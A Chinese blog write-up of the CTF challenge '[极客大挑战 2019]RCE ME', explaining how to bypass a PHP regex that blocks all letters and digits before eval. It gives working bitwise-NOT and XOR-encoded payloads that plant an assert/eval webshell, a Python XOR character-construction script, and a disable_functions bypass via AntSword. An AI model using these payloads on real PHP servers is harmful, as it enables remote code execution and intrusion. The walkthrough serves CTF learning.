绕过正则表达式过滤所有数字和字母的RCE

思路就是取反绕过和异或绕过。

来自

[极客大挑战 2019]RCE ME

打开即源码:

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

一看正则表达式把字母和数字全过滤了,怎么办捏?

来看RCE过滤好文章:关于PHP正则的一些绕过方法

这种情况我们可以传一个shell木马上去,然后hackbar直接梭或者连蚁剑。

 

取反绕过

首先可以尝试取反绕过。

url编码取反绕过 :就是我们将php代码url编码后取反,我们传入参数后服务端进行url解码,这时由于取反后,会url解码成不可打印字符,这样我们就会绕过。

即,对查询语句取反,然后编码。在编码前加上~进行取反,括号没有被过滤,不用取反。

构造payload:

直接:(一定注意最后的分号不要忘打了!!!!还有取反这部分要单独打括号包起来)

?code=(~%8F%97%8F%96%91%99%90)();  //?code=phpinfo();

 

成功执行。那么这个思路就正确了。

然后好习惯查看禁用函数:

flag也没搜到:

继续构造木马:

payload:

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);//这里还有最后一个分号我没构造记得手动加上
//assert(eval($_POST[cmd])); 

 

补一句,这里还可以用参数逃逸:

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

 

测试成功:

接下来就好做了:

这里尝试了hackbar直接读,但是什么也没读到,那就上蚁剑:

果然这个flag是空的。

根目录下发现个readflag:

牛魔玩意,吓我一跳。

直接终端读也是个无效shell。

这里又学了一个新方法,用蚁剑中的绕过disable_functions插件运行这个/readflag:

开始这个插件没下载出来,挂了个梯子下的源码.....

主页面点右键点开这个插件,然后选这个php7的UAF,对应这个网站。

其实还有个方法不用这个插件,传这俩文件上去:

详见https://blog.csdn.net/qq_45521281/article/details/105656737

https://blog.csdn.net/m0_62879498/article/details/124803318

 

异或绕过

原理:

字符:? ASCII码:63 二进制: 00‭11 1111‬
字符:~ ASCII码:126 二进制: 0111 1110‬
异或规则:
1 XOR 0 = 1
0 XOR 1 = 1
0 XOR 0 = 0
1 XOR 1 = 0
上述两个字符异或得到 二进制: 0100 0001
该二进制的十进制也就是:65
对应的ASCII码是:A

异或表:

放一个异或脚本:

valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
​
answer = str(input("请输入进行异或构造的字符串:"))
​
tmp1, tmp2 = '', ''
for c in answer:
  for i in valid:
    for j in valid:
      if (ord(i) ^ ord(j) == ord(c)):
        tmp1 += i
        tmp2 += j
        break
    else:
      continue
    break
print("tmp1为:",tmp1)
print("tmp2为:",tmp2)
var_dump('#'^'|'); //得到字符 _
var_dump('.'^'~'); //得到字符 P    
var_dump('/'^'`'); //得到字符 0    
var_dump('|'^'/'); //得到字符 S    
var_dump('{'^'/'); //得到字符 T    
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");  //变量$__值为字符串'_POST'
<?php
$_ = "!((%)("^"@[[@[\\";   //构造出assert
$__ = "!+/(("^"~{`{|";   //构造出_POST
$___ = $$__;   //$___ = $_POST
$_($___[_]);   //assert($_POST[_]);

具体我就不复现了,有点绕???

个人更喜欢取反,更直接简洁。

其实还有自增之类的方法,详见:无数字字母rce总结(取反、异或、自增、临时文件)_MUNG东隅的博客-CSDN博客

简单看看无数字字母RCE | Err0r233

posted @ 2023-10-07 20:29  Eddie_Murphy  阅读(501)  评论(0编辑  收藏  举报